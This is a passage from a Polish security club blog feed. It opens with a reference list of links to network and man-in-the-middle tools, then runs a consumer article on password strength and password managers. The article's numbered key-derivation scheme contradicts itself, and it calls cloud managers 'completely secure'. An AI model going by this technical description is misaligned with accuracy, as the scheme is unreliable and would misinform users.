&lt;li>&lt;a href="https://www.ettercap-project.org/"target="_blank" rel="noopener">https://www.ettercap-project.org/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.python.org/"target="_blank" rel="noopener">https://www.python.org/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://scapy.net"target="_blank" rel="noopener">https://scapy.net&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.wireshark.org"target="_blank" rel="noopener">https://www.wireshark.org&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://testphp.vulnweb.com/login.php"target="_blank" rel="noopener">http://testphp.vulnweb.com/login.php&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.xmodulo.com/how-to-add-or-remove-static-arp-entry-on-linux.html"target="_blank" rel="noopener">https://www.xmodulo.com/how-to-add-or-remove-static-arp-entry-on-linux.html&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/HTTPS"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/HTTPS&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.cloudflare.com/learning/network-layer/what-is-tunneling"target="_blank" rel="noopener">https://www.cloudflare.com/learning/network-layer/what-is-tunneling&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Virtual_private_network"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Virtual_private_network&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://study-ccna.com/dynamic-arp-inspection-dai/"target="_blank" rel="noopener">https://study-ccna.com/dynamic-arp-inspection-dai/&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol"target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://study-ccna.com/dhcp-snooping"target="_blank" rel="noopener">https://study-ccna.com/dhcp-snooping&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Menadżer haseł - sejf na żółte karteczki z hasłami</title><link>https://whitehats.pwr.edu.pl/blog/2022-10-03-password-managers/</link><pubDate>Mon, 03 Oct 2022 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2022-10-03-password-managers/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2022-10-03-password-managers/image0_hu_f88a9f77a842c690.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Temat artykułu jest realizowany w ramach Projektu “Cyberakcja - Bezpieczna Bankowa Aplikacja”, finansowanym z grantu Haki na Cyberataki Fundacji Santander.
Szczególne podziękowania dla fundacji Manus za pomoc w realizacji projektu.&lt;/p>
&lt;figure class="align-center" style="width : 50%; height: auto; display: block; margin-left: auto; margin-right: auto;">
&lt;img loading="lazy" src="./1_cyberakcja.png" alt="Logo Cyberakcja">
&lt;/figure>
&lt;div class="row">
&lt;div class="column">
&lt;figure class="align-center">
&lt;img loading="lazy" src="./2-manus.webp" alt="Logo Manus">
&lt;/figure>
&lt;/div>
&lt;div class="column">
&lt;figure class="align-center">
&lt;img loading="lazy" src="./3-santander.png" alt="Logo Santander">
&lt;/figure>
&lt;/div>
&lt;/div>
&lt;h2>Menadżer haseł - sejf na żółte karteczki z hasłami&lt;span class="hx:absolute hx:-mt-20" id="menadżer-haseł---sejf-na-żółte-karteczki-z-hasłami">&lt;/span>
&lt;a href="#menad%c5%bcer-hase%c5%82---sejf-na-%c5%bc%c3%b3%c5%82te-karteczki-z-has%c5%82ami" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Pośród haseł jakie musimy zapamiętać w trakcie korzystania z Internetu z pewnością jednym z najważniejszych jest hasło do naszego konta bankowego. Dane dostępowe są tutaj kluczowym zabezpieczeniem i pomimo dodatkowych sposobów utrudnienia dostępu osobom niepowołanym, to właśnie silne hasło stanowi naszą główną broń w arsenale obronnym. Nieodzownym jest więc prawidłowe zarządzanie hasłami oraz czuwanie nad ich prawidłową siłą. Dlatego w tym artykule omówione zostaną wszelkie zagadnienia związane z siłą haseł oraz sposobami na ich bezpieczne przechowywanie. Zapnijcie pasy, ruszamy w podróż po świecie menadżerów haseł.&lt;/p>
&lt;h2>Jakie jest silne hasło?&lt;span class="hx:absolute hx:-mt-20" id="jakie-jest-silne-hasło">&lt;/span>
&lt;a href="#jakie-jest-silne-has%c5%82o" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Odpowiedź na to pytanie jest z pozoru prosta i przez lata utwardzana była w świadomości internautów -, minimum 8 znaków, mała, wielka litera, cyfra, znak specjalny. Brzmi to jak przepis na dobre ciasto, jednak ile jest w tym prawdy? Należy pamiętać, że rozwój technologiczny nie stoi w miejscu i to co było definiowane jako silne hasło w roku 2012 niekoniecznie pozostaje nim w roku 2022. Jeśli chcielibyśmy zaktualizować tę definicję, musielibyśmy zaczerpnąć wiedzy, która jednoznacznie udowodniłaby trudność łamania hasła w zależności od jego skomplikowania. Tak się składa, że takie dane posiadamy.&lt;/p>
&lt;p>Na poniższej grafice przedstawiono tabelę z szacowanym czasem łamania hasła o danym skomplikowaniu metodą brute-force przez infrastrukturę chmurową, której moc obliczeniową ocenia się na 523 GH/s (giga hash na sekundę). Dla porównania pojedyncza karta graficzna RTX 2080 cechuje się średnią mocą na poziomie 37 GH/s. Więcej na ten temat możecie przeczytać &lt;a href="https://www.hivesystems.io/blog/are-your-passwords-in-the-green"target="_blank" rel="noopener">tutaj&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./image2.png" alt="Czas łamania haseł o różnej liczbie znaków">
&lt;/figure>
&lt;br />
> Źródło: ["Neskey, C. (2022, March 2). Are Your Passwords in the Green? Hive Systems. Retrieved September 16, 2022"](https://www.hivesystems.io/blog/are-your-passwords-in-the-green)
&lt;p>Jak możemy zauważyć na załączonej grafice, hasło według „starych” standardów można złamać w 39 minut co jest wynikiem bardzo złym, o ile nie tragicznym jak na trudność jego zapamiętania. Prowadzi to do jednego wniosku: czas zmienić definicję bezpiecznego hasła. Osobiście sugerując się powyższą tabelą za minimum silnego hasła uważam 12 znakowy ciąg znaków specjalnych, cyfer i liter zostawiając sobie zapas na przyszły rozwój mocy obliczeniowej. Wyrycie w pamięci hasła typu 1hJk7#$L nie należy do prostych ale co powiecie na hasło 1hJk7#$LjK35 ? Z pewnością widzicie w jakim kierunku to zmierza, hasła nie będą się upraszczać, a raczej utrudniać i to w coraz większym tempie.&lt;/p>
&lt;p>Teraz pewnie znajdzie się grupa osób, która z uśmiechem na twarzy powie, „Ale ja mam jedno 20 znakowe hasło do wszystkiego, nikt mi tego nie złamie”. W takim rozumowaniu jest jeden zasadniczy zgrzyt, mianowicie: co zrobisz jeśli to jedno hasło wycieknie do publicznych baz z hasłami? Może już tam jest? To właśnie ryzyko wycieku jest tutaj największym problemem, świat byłby idealny gdyby wszystkie serwisy internetowe dbały o bezpieczeństwo naszych haseł tak samo jak banki o bezpieczeństwo naszych pieniędzy. Tak się niestety nie dzieje i o ile wspomniane instytucje finansowe czuwają by nasze hasła były tak samo bezpieczne jak zawartość naszego wirtualnego portfela, to wycieki z takich stron jak Morele.net obrazują skalę problemu. Po tym moralizatorskim upomnieniu pozostaje mi tylko przekazać dwa kluczowe dla omawianego problemu odnośniki: &lt;a href="https://haveibeenpwned.com/"target="_blank" rel="noopener">LINK1&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> oraz &lt;a href="https://www.youtube.com/watch?v=MnjQV--o1-0"target="_blank" rel="noopener">LINK2&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Pierwszy z nich zawiera stronę, która sprawdza w dostępnych bazach z wyciekami obecność szukanego maila lub telefonu, co może zapalić nam lampkę w głowie, że dobrze byłoby zmienić hasła. Drugi link, bardziej humorystyczny, ale jednocześnie dający do myślenia pozostawiam tym, którzy nadal twardo chcą korzystać z jednego hasła.&lt;/p>
&lt;p>Na koniec rozważań nad siłą haseł dorzucę jeszcze ciekawy przypadek haseł typu BardzoTrudneHasłoDoPewengoSerwisu123!@#. Na pierwszy rzut oka zapewne wyda się wam to słabym hasłem, no bo przecież wyrazy słownikowe i w ogóle jakoś mało skomplikowane, i tutaj właśnie trafiamy na pewnego rodzaju kompromis między siłą, a łatwością zapamiętania. Okazuje się bowiem że hasła tego typu to najlepszy wybór jeśli przeraża nas perspektywa zapamiętania trudnych haseł, ale zależy nam na bezpieczeństwie. Dlaczego tak się dzieje? Głównym sprawcą tego porozumienia jest język a konkretniej ilość wyrazów jakie zawiera. Obok ataków siłowych brute force mamy również ataki słownikowe czyli próbowanie wszystkich haseł z pliku tekstowego od góry do dołu, takie pliki mogą ważyć nawet po kilkaset GB a przy tym zawierają jedynie ułamek procenta wszystkich możliwych kombinacji wyrazów i innych znaków. Z tego też powodu niemożliwe jest stworzenie słownika z wszelkimi kombinacjami wyrazów dla danego języka, pozostaje więc metoda brute-force, ale tutaj życzę powodzenia współczesnym komputerom w złamaniu 39 znakowego hasła zwierającego litery, znaki specjalne i cyfry.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./image5.png" alt="How secure is your password">
&lt;/figure>
&lt;br />
> Źródło: ["How secure is your password. (n.d.). Password Strength Meter. Retrieved September 16, 2022"](https://www.passwordmonster.com/)
&lt;p>Wszystko wydaje się piękne, ale od wad nie uciekniemy. To rozwiązanie niestety ma kilka problemów. Po pierwsze nie wszystkie serwisy pozwalają na tak długie hasła, przez co tracimy na ich sile i musimy coraz bardziej kombinować by zachować jego moc. Po drugie i najważniejsze, zapamiętanie jednego takiego hasła nie spowoduje trudności, ale konia z rzędem temu kto zdoła spamiętać takie hasła do 10 różnych serwisów. Umieszczenie nazwy usługi w haśle by łatwiej je zapamiętać niestety naraża nas na problem związany z jego wyciekiem.&lt;/p>
&lt;p>Jak widać problem zarządzania hasłami jest bardzo duży, nie jest możliwe zachowanie pełnego bezpieczeństwa i łatwości zapamiętania jednocześnie. Dla zainteresowanych tematem mocnych danych dostępowych zostawiam stronę pod &lt;a href="https://www.passwordmonster.com/"target="_blank" rel="noopener">LINKIEM&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, która oblicza siłę hasła na podstawie jego skomplikowania. Artykuł jednak nie kończy się tutaj, gdyż to właśnie teraz przechodzimy do omówienia rozwiązania będącego niczym antybiotyk w walce z bakterią lub ekwiwalent broni atomowej w arsenale chroniącym nasze dane w Internecie, chodzi o menadżery haseł.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./image6.png" alt="When you are more than half way done">
&lt;/figure>
&lt;br />
> Źródło: ["Meme Generator"](https://memegenerator.net/instance/72789147/spongebob-rainbow-when-you-are-more-than-half-way-done)
&lt;h2>Dlaczego warto?&lt;span class="hx:absolute hx:-mt-20" id="dlaczego-warto">&lt;/span>
&lt;a href="#dlaczego-warto" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Po tym jakże zachęcającym zwiastunie, czas przejść do rzeczy. Jak wspomniałem, menadżer haseł stanowi remedium na problemy związane z zapamiętywaniem haseł. Pozwala on na sprawne, wygodne a przede wszystkim bezpieczne zapisywanie haseł, będące pewniejszą alternatywą dla spisywania danych dostępowych na kartkach przyklejonych pod klawiaturą, podkładką myszy czy, o zgrozo: do boku monitora. Dla osób które pierwszy raz zderzają się z terminem menadżera haseł, przeprowadzę krótkie wprowadzenie.&lt;/p>
&lt;p>Menadżer haseł jest oprogramowaniem, które najprościej mówiąc jest jak bezpieczny sejf zabezpieczony oddzielnym hasłem, na nasze wirtualne żółte karteczki z danymi dostępowymi. Pozwala to na zapisanie nieograniczonej ich ilości, a co najważniejsze pozostają one zabezpieczone. To tyle, właśnie poznałeś definicję menadżera haseł a raczej jego głównej części bez której nie moglibyśmy mówić o menadżerze. Na przestrzeni lat oprogramowanie tego typu przeszło dynamiczny rozwój i korzysta z wielu dodatkowych funkcji z czego najpowszechniejsze wymienię poniżej. Po pierwsze, stosuje się logowanie za pomocą weryfikacji 2 stopniowej, co wzmacnia poziom bezpieczeństwa. Taka weryfikacja odbywa się na wiele sposobów; Najczęściej jest to kod wysłany na mail, google auth czy poprzez sms, ale również coraz więcej menadżerów korzysta z fizycznych kluczy takich jak np. rodzina YubiKey. Kolejną funkcją dodatkową jest możliwość zapisania bazy z hasłami w chmurze, definiuje to niejako typ naszego menadżera który może pracować w trybie offline (baza z hasłami zapisana na naszym komputerze), online (dostęp do chmury) lub hybrydowo (co jakiś czas bazy na naszych komputerach są synchronizowane by były takie same). Korzysta się również z funkcji generowania haseł o zadanej sile co ułatwia dodawanie kolejnych pozycji w bazie, eliminując konieczność wymyślania kolejnych unikalnych haseł przy okazji, czasami oceniana jest nawet siła danego hasła podobnie jak na podlinkowanej wcześniej stronie. Poza trzema kluczowymi dodatkami stosuje się wiele pomniejszych jak maksymalizacja dostępności tj. multiplatformowość (dostęp przez stronę, aplikację na telefonie, komputerze i/lub rozszerzenie w przeglądarce), dodatkowo wiele menadżerów obsługuje wprowadzenie dodatkowych danych dostępowych takich jak login, URL strony do której jest hasło itp. w wielu przypadkach możliwe jest nawet autouzupełnianie pól w przeglądarce jeśli dysponujemy rozszerzeniem.&lt;/p>
&lt;h2>Online vs Offline i dlaczego nie należy bać się chmury?&lt;span class="hx:absolute hx:-mt-20" id="online-vs-offline-i-dlaczego-nie-należy-bać-się-chmury">&lt;/span>
&lt;a href="#online-vs-offline-i-dlaczego-nie-nale%c5%bcy-ba%c4%87-si%c4%99-chmury" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>No dobrze, teraz mogę się założyć, że co najmniej kilku z was zada sobie pytanie: „Wszystko fajnie, ale ja nie chcę udostępniać swoich haseł jakimś podejrzanym firmom, wolę trzymać wszystko u siebie”. Odpowiadając, porównam to podejście do trzymania pieniędzy w domowym sejfie, jest to bezpieczne rozwiązanie, ale żeby dostać się do pieniędzy będąc w sklepie na drugim końcu miasta musimy wrócić do domu, otworzyć sejf, wyciągnąć pieniądze i wrócić do na zakupy. To powinno wam rozjaśnić oczywisty problem z dostępnością, oczywiście, jeśli nie przeszkadza wam konieczność dbania o zsynchronizowanie waszych baz oraz fakt, że awaria sprzętu może zablokować wam dostęp do wszystkich serwisów których dane dostępowe przechowywaliście, to droga wolna. Jednakże nie byłbym sobą gdybym nie spróbował was przekonać do postawienia na efektywność przy jednoczesnym zachowaniu, jak zaraz się okaże, tego samego poziomu bezpieczeństwa.&lt;/p>
&lt;p>Postawiłem tezę, teraz wypada ją uargumentować. Otóż tak się składa że biorąc pod uwagę ryzyko wycieku danych, bazy danych przechowują hasła w formie tzw. hashy lub skrótów czyli unikalnych ciągów znaków z których nie można odzyskać wejściowego tekstu, jest to przeciwieństwo szyfrowania które pozwala na odzyskanie wejściowych danych jeśli posiadamy klucz. Dzięki temu nawet wyciek bazy danych nie spowoduje przechwycenia haseł a jedynie ich hashy, co zmusza atakujących do ich crackingu np. metodą brute-force lub słownikowo wykorzystując tablice tęczowe (listy znanych, popularnych haseł w formie skrótów). Zmierzając do celu, polecam się teraz skupić bo procedura rejestracji i logowania do menadżera haseł może być skomplikowana więc to część dla szczególnie zainteresowanych zagadnieniami technicznymi, a więc ruszamy.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./image3.png" alt="When you are more than half way done">
&lt;/figure>
&lt;br />
1. Podanie danych do rejestracji w tym hasłak
2. Hasło jest hashowane do postaci skrótu jest to nasz Klucz A
3. Generuje się jednorazowo Klucz C, będący losowym, stałym dla danego konta hashem
4. Szyfruje się Klucz A przy użyciu Klucza C, w efekcie powstaje Klucz B
5. Klucz B zapisywany jest w Bazie z danymi wszystkich użytkowników serwisu.
6. Klucz A zostaje zaszyfrowany z użyciem Klucza C w bazie danych
7. Kolejne zapisywane hasła również są zaszyfrowane z użyciem Klucza C
&lt;figure class="align-center">
&lt;img loading="lazy" src="./image4.png" alt="Diagram tworzenia nowego konta w serwisie">
&lt;/figure>
&lt;br />
> Diagram tworzenia nowego konta w serwisie
&lt;p>Proces logowania do już istniejącego konta wygląda natomiast tak:&lt;/p>
&lt;ol>
&lt;li>Podanie danych do rejestracji w tym hasła&lt;/li>
&lt;li>Hasło jest hashowane do postaci skrótu jest to nasz Klucz A&lt;/li>
&lt;li>Pobierany jest Klucz B z bazy danych o użytkownikach&lt;/li>
&lt;li>Deszyfruje się Klucz B z użyciem Klucza A w efekcie powstaje &lt;strong>prawdopodobny&lt;/strong> Klucz C&lt;/li>
&lt;li>Podjęta zostaje próba odszyfrowania Klucza A zapisanego w bazie z zapisanymi hasłami&lt;/li>
&lt;li>Następuje porównanie wygenerowanego przy logowaniu Klucza A z Kluczem A zapisanym w bazie, odszyfrowanym wcześniej z pomocą prawdopodobnego Klucza C&lt;/li>
&lt;li>Jeśli te dwa Klucze A są identyczne, oznacza to że dane logowania są poprawne, użytkownik zostaje zalogowany i uzyskuje dostęp do zapisanych haseł gdyż zostały one poprawnie odszyfrowane Kluczem C który okazał się być tym właściwym.&lt;/li>
&lt;li>W przeciwnym razie użytkownik zostaje odrzucony, nie udało się zalogować Klucze A nie były takie same a zapisane hasła pozostają niezrozumiałym bełkotem.&lt;/li>
&lt;li>Po pomyślnym zalogowaniu kolejne zapisywane hasła są zaszyfrowane z użyciem Klucza C&lt;/li>
&lt;/ol>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./image7.png" alt="Diagram ponownego logowania do serwisu">
&lt;/figure>
&lt;br />
> Diagram ponownego logowania do serwisu
&lt;p>Podsumowując, procedura zapisywania haseł oraz dostępu do konta zakłada, że w żadnym miejscu nie przechowuje się faktycznych haseł w czystej postaci, a samo hasło logowania jest dodatkowo szyfrowane. Ponadto przechowywany w bazie klucz jest bezużyteczny dla potencjalnego atakującego. Nawet właściciele serwisu nie są w stanie odczytać zawartości twojej bazy z hasłami. Myślę że wszystkie te zalety jednoznacznie świadczą o tym, że nie należy się bać menadżerów haseł działających online bo nasze dane są podwójnie szyfrowane a tym samym kompletnie bezpieczne.&lt;/p>
&lt;p>Pozostaje już tylko kwestia potencjalnej awarii. Tak jak wspomniałem, nawet to zostało przemyślane. Serwisy oferujące usługi menadżera haseł przykładają ogromna uwagę do tej kwestii, co kilka minut tworzone jest wiele nadmiarowych backupów na kilku serwerach co upewnia nas że nawet jeśli jedne przestanie działać nasze dane pozostaną na innych i będzie można je przywrócić. Jedynym minusem menadżerów online jest awaria po stronie dostarczającej Internet lub usługi DNS infrastrukturze chmurowej z menadżerem haseł. W takim przypadku niestety menadżer przestanie odpowiadać, gdyż zostanie zerwane połączenie, w efekcie nie będziemy mogli się zalogować do naszego konta. Sam miałem raz taki przypadek, powrót do działania nastąpił po godzinie, jednak zalany potem obserwowałem co się dzieje z moimi hasłami.&lt;/p>
&lt;h2>Który menadżer wybrać?&lt;span class="hx:absolute hx:-mt-20" id="który-menadżer-wybrać">&lt;/span>
&lt;a href="#kt%c3%b3ry-menad%c5%bcer-wybra%c4%87" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Cały ten opis stanowi podsumowanie tego, co oferują współczesne menadżery haseł. Jak pewnie nie ciężko się domyślić powoduje to niezły mętlik w głowie, który menadżer wybrać. Osobiście używam Bitwardena, ale jest to moja preferencja, zachęciła mnie bardzo wysoka dostępność na praktycznie wszystkich platformach przy czym jest on całkowicie darmowy dla użytkowników indywidualnych. Pozostałe propozycje to między innymi KeePass który jest menadżerem Offline, więcej o nim możecie przeczytać &lt;a href="https://niebezpiecznik.pl/post/keepass-jak-zaczac-swoja-przygode-z-managerem-hasel/"target="_blank" rel="noopener">TUTAJ&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Inną wartą rozpatrzenia alternatywą w 2022 roku jest LastPass oferujący bardzo podobne funkcjonalności, co Bitwarden, jednak nie jest to oprogramowanie open source, dodatkowo plan premium jest droższy od wspomnianego, jeśli chodzi o dostępność jest ona porównywalna, również mamy do dyspozycji z rozszerzeń w przeglądarce jednak do mniejszej ich ilości. Popularny jest również 1Password, nie ma on jednak opcji korzystania za darmo, co dla wielu stanowi pewnie minus, pozostałe funkcjonalności są wręcz kalką z Bitwardena i tutaj właśnie napotykamy na bardzo kluczowy wniosek. Omawiane przeze mnie przy okazji wprowadzenia dodatkowe funkcje są aktualnie obecne w praktycznie wszystkich topowych menadżerach, z tego też powodu porównywanie ich jest trudne, gdyż oferują bardzo podobne usługi, jedynym co się zmienia to cena. Zostawiam wam więc &lt;a href="https://www.codeinwp.com/blog/best-password-manager/"target="_blank" rel="noopener">LINK&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> do kompleksowego porównania popularnych menadżerów haseł online i zachęcam do zapoznania się z listą wybierając ten który najbardziej wam odpowiada.&lt;/p>
&lt;h2>Podsumowanie&lt;span class="hx:absolute hx:-mt-20" id="podsumowanie">&lt;/span>
&lt;a href="#podsumowanie" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Na koniec chciałbym jeszcze raz przekazać wam, że to właśnie prawidłowe zarządzanie mocnymi hasłami stanowi cienką granicę między świadomym, bezpiecznym korzystaniem z Internetu, w szczególności stron banków, a światem słabych, identycznych haseł zapisywanych na żółtych karteczkach.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./image1.png" alt="Finally the end">
&lt;/figure>
&lt;br />
&lt;h2>Wykorzystane materiały:&lt;span class="hx:absolute hx:-mt-20" id="wykorzystane-materiały">&lt;/span>
&lt;a href="#wykorzystane-materia%c5%82y" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;ul>
&lt;li>&lt;a href="https://www.hivesystems.io/blog/are-your-passwords-in-the-green"target="_blank" rel="noopener">&amp;ldquo;Neskey, C. (2022, March 2). Are Your Passwords in the Green? Hive Systems. Retrieved September 16, 2022&amp;rdquo;&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>&lt;/li>
